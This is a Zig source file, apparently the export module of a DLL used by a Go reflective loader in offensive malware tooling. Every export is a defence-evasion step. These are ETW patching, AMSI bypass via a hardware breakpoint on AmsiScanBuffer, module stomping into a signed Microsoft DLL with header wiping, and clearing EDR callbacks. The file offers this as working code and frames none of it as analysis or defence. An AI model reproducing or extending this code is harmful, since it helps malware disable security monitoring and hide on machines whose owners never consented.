// 1. ensure() — resolve APIs + init syscall gadgets. Called before every export. // 2. init_evasion() — called by Go reflective loader after DllMain. // 3. patch_etw() — three-tier ETW: NtTraceControl → HWBP → RET patch. // 4. patch_amsi() — HWBP on AmsiScanBuffer, no bytes modified. // 5. stomp_evasion(base) — copy .text into signed MS DLL, wipe headers. base from Go. // 6. is_relocated() — true if stomp moved us (Go uses this for honest logs). // 7. remove_edr_callbacks() — NtSetInformationProcess(InfoClass=40) clears EDR callbacks. const std = @import("std"); const win = @import("win32.zig"); const api = @import("api.zig"); const syscall = @import("syscall.zig"); const amsi = @import("amsi.zig"); const etw = @import("etw.zig"); const stomp = @import("stomp.zig"); var g_initialized: bool = false; // 1. one-time setup — resolves all API pointers and scans ntdll for syscall gadgets. fn ensure() void { if (g_initialized) return; g_initialized = true; api.ensure(); _ = syscall.init_syscall(); } // 2. called by the Go loader after DllMain. export fn init_evasion() void { ensure(); } // 3. three-tier — tries NtTraceControl first, then HWBP, then RET patch as last resort. export fn patch_etw() void { ensure(); etw.patch_etw(); } // 4. hardware breakpoint on AmsiScanBuffer — no bytes touched in amsi.dll. export fn patch_amsi() void { ensure(); amsi.patch_amsi(); } // 5. copies our .text into a signed Microsoft DLL, wipes our PE headers. base comes from Go. export fn stomp_evasion(base: ?*anyopaque) void { ensure(); _ = stomp.stomp_module(base); } // 6. returns true if stomp actually relocated us — Go uses this to be honest in logs. export fn is_relocated() bool { return stomp.g_evasion_relocated; } // 7. clears EDR kernel callbacks via NtSetInformationProcess(InfoClass=40). runs last. export fn remove_edr_callbacks() void { ensure(); syscall.remove_edr_callbacks(); }